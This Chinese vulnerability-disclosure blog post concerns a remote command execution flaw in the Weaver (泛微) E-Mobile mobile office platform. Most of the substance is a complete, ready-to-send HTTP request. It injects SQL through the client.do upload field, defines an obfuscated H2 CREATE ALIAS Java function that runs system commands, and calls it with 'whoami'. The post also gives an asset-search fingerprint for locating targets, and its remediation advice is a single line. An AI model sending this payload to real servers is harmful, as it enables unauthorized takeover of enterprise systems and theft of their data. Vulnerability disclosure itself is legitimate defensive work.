文章总结： 本文披露了泛微E-Mobile平台的远程命令执行漏洞，影响2024.3前及6.0等版本。攻击者可向client.do接口发送恶意请求，利用H2数据库CREATEALIAS机制执行任意系统命令，从而获取服务器权限。文档包含资产测绘指纹、详细的漏洞复现POC及升级修复建议，建议受影响用户尽快处置。
综合评分： 85
文章分类： 漏洞POC,漏洞分析,WEB安全
泛微E-Mobile 远程命令执行漏洞（RCE）附POC
原创
安服仔
安服仔
北风漏洞复现文库
2026年1月28日 10:04
广东
免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。
#
#
01
—
漏洞名称
泛微E-Mobile 远程命令执行漏洞
#
02
—
影响版本
泛微E-Mobile移动管理平台多个版本，部分漏洞影响版本为2024.3前
版本，部分涉及E-Mobile 6.0等版本。
03
—
漏洞简介
泛微e-Mobile移动管理平台是上海泛微网络科技股份有限公司推出的一款移动办公平台，旨在帮助企业构建以员工为核心的移动统一办公平台。它将企业ERP、CRM、OA等各类系统应用融合在一个平台，覆盖组织管理、业务、财务等各方面，通过统一组织、统一消息、统一应用、统一搜索、统一报表等功能，实现信息聚合与高效协同。攻击者可利用漏洞绕过身份验证，执行任意系统命令，获取服务器控制权，可能导致数据泄露、系统被控、植入后门等严重后果。
04
—
资产测绘
"Weaver E-Mobile"
05
—
漏洞复现
POC
POST /client.do HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=abcrCRF1rJkt_4V8s_ikz; ecology_JSessionid=abcrCRF1rJkt_4V8s_ikz; testBanCookie=test; Systemlanguid=7Upgrade-Insecure-Requests: 1Priority: u=0, iPragma: no-cacheCache-Control: no-cacheContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Length: 1131------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition: form-data; name="method"getupload------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition: form-data; name="uploadID"1';CREATE ALIAS if not exists abcd AS CONCAT('void e(String cmd) throws java.la','ng.Exception{','Object curren','tRequest = Thre','ad.currentT','hread().getConte','xtClass','Loader().loadC','lass("com.caucho.server.dispatch.ServletInvocation").getMet','hod("getContextRequest").inv','oke(null);java.la','ng.reflect.Field _responseF = currentRequest.getCl','ass().getSuperc','lass().getDeclar','edField("_response");_responseF.setAcce','ssible(true);Object response = _responseF.get(currentRequest);java.la','ng.reflect.Method getWriterM = response.getCl','ass().getMethod("getWriter");java.i','o.Writer writer = (java.i','o.Writer)getWriterM.inv','oke(response);java.ut','il.Scan','ner scan','ner = (new java.util.Scann','er(Runt','ime.getRunt','ime().ex','ec(cmd).getInput','Stream())).useDelimiter("\\A");writer.write(scan','ner.hasNext()?sca','nner.next():"");}');CALL abcd('whoami');--------WebKitFormBoundaryyBvZrAkWyCD8dThV--
06
—
修复建议
升级到安全版本
07
—
往期回顾
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：北风漏洞复现文库 安服仔
安服仔《泛微E-Mobile 远程命令执行漏洞（RCE）附POC》